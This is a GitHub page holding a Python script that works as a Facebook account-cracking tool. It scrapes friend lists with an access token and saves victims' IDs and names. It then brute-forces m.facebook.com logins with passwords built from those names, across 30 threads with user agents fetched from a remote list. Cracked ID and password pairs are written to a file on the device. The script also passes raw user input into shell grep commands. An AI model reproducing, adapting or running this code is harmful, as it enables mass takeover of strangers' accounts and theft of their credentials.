-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathKingjaikumar.py
344 lines (344 loc) · 11.8 KB
/
Kingjaikumar.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
#coding=utf-8
import os,sys,time,random,json,requests
from concurrent.futures import ThreadPoolExecutor as ThreadPool
logo="""
꧁༺༒༻꧂︻╦̵̵͇̿̿̿̿╤─Jaikumar︻┳═一꧁༺༒༻꧂
--------------------------------------------------
Author : JAIKUMAR PARHYAR
Github : https://github.com/jaikumarhero/jaikumarhero
Youtube : JR STATUS
--------------------------------------------------
If oppurtunity donot knock, build a door
--------------------------------------------------"""
oks=[]
cps=[]
def main():
os.system('clear')
print(logo)
print(' [1] Crack')
print(' [2] Create file manual')
print(' [3] Create file auto')
print(' [4] Separate ids')
print(' [l] Login another token')
print(50*'-')
option = input(' Select option: ')
if option =='1':
crack()
elif option =='2':
manual()
elif option =='3':
auto()
elif option =='4':
sep()
elif option =='5':
os.system('rm -rf .chrome.txt .android.txt && python hop.py')
elif option =='l' or option =='L':
print(' Logging you out first')
time.sleep(1)
os.system('rm -rf access_token.txt')
login()
else:
print(' Choose valid option ')
time.sleep(1)
main()
def manual():
try:
token = open('access_token.txt', 'r').read()
except FileNotFoundError:
login()
print(' Checking logged in account ....')
try:
r = requests.get('https://graph.facebook.com/me?access_token='+token).text
q = json.loads(r)
uname = q['name']
except (KeyError):
login()
os.system('clear')
print(logo)
print(' Name: '+uname)
print(50*'-')
limit = int(input(' How many ids do you want to add ? '))
save_file = input(' Save file as: ')
t = 0
for u in range(limit):
t+=1
try:
ids = input(' Put id no%s : '%t)
r = requests.get('https://graph.facebook.com/'+ids+'/friends?access_token='+token).text
q = json.loads(r)
for j in q['data']:
uids = j['id']
names = j['name']
first_name = names.split(' ')[0]
try:
last_name = names.split(' ')[1]
except:
last_name = 'Khan'
with open('/sdcard/'+save_file, 'a') as rd:
rd.write(uids+'|'+first_name+'|'+last_name+'\n')
except KeyError:
print(' No friend for '+ids)
pass
print(50*'-')
print(' Ids saved as: '+save_file)
print(50*'-')
input(' Press enter to back')
main()
def auto():
os.system('rm -rf temp*')
try:
access_token = open('access_token.txt', 'r').read()
except:
login()
try:
r = requests.get('https://graph.facebook.com/me?access_token='+access_token).text
q = json.loads(r)
uname = q['name']
except:
login()
os.system('clear')
print(logo)
print(' Logged user: '+uname)
print(50*'-')
nusrat = []
try:
limit_user = int(input(' How many ids do you want to add ? '))
except:
limit_user = 1
count = 0
for fir in range(limit_user):
count +=1
udit = input(' Put id%s: '%(count))
try:
fr = requests.get('https://graph.facebook.com/'+udit+'/friends?access_token='+access_token).text
qfr = json.loads(fr)
temp_save = open('temp.txt', 'a')
for data in qfr['data']:
uids = data['id']
if uids in nusrat:
pass
else:
nusrat.append(uids)
temp_save.write(uids+'\n')
temp_save.close()
except KeyError:
if 'invalid' in str(fr):
print(' Logged token has expired ...')
pass
else:
print(' No friends found for user: '+udit)
pass
os.system('clear')
print(logo)
print(' Total ids: '+str(len(nusrat)))
print(50*'-')
try:
ask_link = int(input(' How many links do you want to grab? '))
except:
ask_link = 1
completed = 0
for links in range(ask_link):
completed +=1
li = input(' %s Link start with: '%completed)
os.system('cat temp.txt | grep "'+li+'" >> temp2.txt')
save_file = input(' Save file as: ')
os.system('clear')
lines = open('temp2.txt', 'r').readlines()
print(logo)
print(' Total ids to grab: '+str(len(lines)))
print(' Grabbing Process has started')
print(50*'-')
fileid = 'temp2.txt'
fileidopen = open(fileid, 'r').read().splitlines()
dill = []
for ids in fileidopen:
try:
rg = requests.get('https://graph.facebook.com/'+ids+'/friends?access_token='+access_token).text
rgq = json.loads(rg)
idsave=open('/sdcard/'+save_file, 'a')
for inayat in rgq['data']:
uids = inayat['id']
dill.append(uids)
nm = inayat['name']
first_name = nm.split(' ')[0]
try:
last_name = nm.split(' ')[1]
except:
last_name = 'Khan'
idsave.write(uids+'|'+first_name+'|'+last_name+'\n')
print(' Grabbed from: '+ids)
# print(' Total friends: '+str(len(uids)))
print(' Token status: Live')
print(50*'-')
idsave.close()
time.sleep(3)
except Exception as e:
#print(e)
if 'invalid' in str(rg):
print(' Token has expired, try again ...')
os.system('rm -rf temp*')
pass
else:
print(' Grabbed from: '+ids)
print(' Friendlist ids: 0')
print(' Token status: Live')
print(50*'-')
os.system('rm -rf temp*')
pass
lenid = open('/sdcard/'+save_file, 'r').readlines()
print(' Grabbing Process has completed ')
os.system('rm -rf temp*')
print(' Total ids grabbed: '+str(len(lenid)))
print(' File saved as: /sdcard/'+save_file)
print(50*'-')
input(' Press enter to back ')
main()
def sep():
os.system('clear')
print(logo)
try:
limit = int(input(' How many links do you want to separate? '))
except:
limit = 1
file_name = input(' Input file name: ')
new_save = input(' Save new file as: ')
y = 0
for k in range(limit):
y+=1
links = input(' Put links %s: '%(y))
os.system('cat '+file_name+' | grep "'+links+'" >> /sdcard/'+new_save)
print(50*'-')
print(' Links grabbed successfully')
print(' Total grabbed links: '+str(len(open('/sdcard/'+new_save).read().splitlines())))
print(' New file saved as: /sdcard/'+new_save)
print(50*'-')
input(' Press enter to back ')
main()
def crack():
os.system('clear')
print(logo)
uachoice = input(' Choose useragent(android/chrome) ? ')
shivali = requests.get('https://raw.githubusercontent.com/Hamzahash/ua/main/'+uachoice+'.txt').text.splitlines()
os.system('clear')
print(logo)
file = input(' Put file path: ')
try:
fileopen = open(file,'r').read().splitlines()
except FileNotFoundError:
print(' File not found on provided path, try again ....')
time.sleep(1)
crack()
print(50*'-')
print(' [1] All name passwords')
print(' [2] First&last name passwords')
print(' [3] Choice passwords')
print(50*'-')
gaddari = input(' Choose passlist: ')
if gaddari =='1':
with ThreadPool(max_workers=30) as yaari:
os.system('clear')
print(logo)
print(' Total ids: '+str(len(fileopen)))
print(' Brute Has been started')
print(50*'-')
for user in fileopen:
uid,first,last = user.split('|')
ps=first.lower()
ps2=last.lower()
pwx=[first+'123',first+'12345',ps+'12',ps+'1122',ps+'1234',ps+'786']
yaari.submit(mbasic,uid,pwx,shivali)
print(50*'-')
print(' The process has completed')
print(' Total OK/CP: '+str(len(oks))+'/'+str(len(cps)))
print(50*'-')
input(' Press enter to back ')
main()
elif gaddari =='2':
with ThreadPool(max_workers=30) as yaari:
os.system('clear')
print(logo)
print(' Total ids: '+str(len(fileopen)))
print(' Brute Has been started')
print(50*'-')
for user in fileopen:
uid,first,last=user.split('|')
ps=first.lower()
ps2=last.lower()
pwx=[ps+' '+ps2,ps+ps2,first+' '+last]
yaari.submit(mbasic,uid,pwx,shivali)
print(50*'-')
print(' The process has completed')
print(' Total OK/CP: '+str(len(oks))+'/'+str(len(cps)))
print(50*'-')
input(' Press enter to back ')
main()
elif gaddari =='3':
print(50*'-')
print(' Password example: 667788,334455,99900,khan khan,khankhan etc')
pwx = input(' Put passwords like example: ').split(',')
with ThreadPool(max_workers=30) as yaari:
os.system('clear')
print(logo)
print(' Total ids: '+str(len(fileopen)))
print(' Brute Has been started')
print(50*'-')
for user in fileopen:
uid,first,last=user.split('|')
yaari.submit(mbasic,uid,pwx,shivali)
print(50*'-')
print(' The process has completed')
print(' Total OK/CP: '+str(len(oks))+'/'+str(len(cps)))
print(50*'-')
input(' Press enter to back ')
main()
else:
print(' Choose valid passlist, try again ...')
time.sleep(1)
crack()
def mbasic(uid,pwx,shivali):
try:os.mkdir('/sdcard/ids')
except:pass
try:
global oks
global cps
ua=random.choice(shivali)
for ps in pwx:
session = requests.Session()
log_data = {"try_number":"0","unrecognized_tries":"0","email": uid,"pass": ps,"_fb_noscript": "true"}
header = {'User-Agent':ua}
session.headers.update(header)
log_s = session.post('https://m.facebook.com/login.php', data = log_data)
get_cookie = session.cookies.get_dict().keys()
if 'c_user' in get_cookie:
print('\033[1;32m [Successful-WAHID] '+uid+' | '+ps+'\033[0;97m')
oks.append(uid)
with open('/sdcard/ids/ok.txt','a') as pushpa:
pushpa.write(uid+'|'+ps+'\n')
break
elif 'checkpoint' in get_cookie:
print('\033[1;31m [Checkpoint-WAHID] '+uid+' | '+ps+'\033[0;97m')
cps.appene(uid)
break
else:
continue
except:pass
def login():
os.system('clear')
print(logo)
tok = input(' Put access token: ')
try:
u = requests.get('https://graph.facebook.com/me?access_token='+tok).text
u1 = json.loads(u)
name = u1['name']
ts = open('access_token.txt', 'w')
ts.write(tok)
ts.close()
print(' Logged in successfully')
time.sleep(1)
main()
except KeyError:
print('\n Invalid token provided, try again ')
time.sleep(1)
login()
if __name__=='__main__':
main()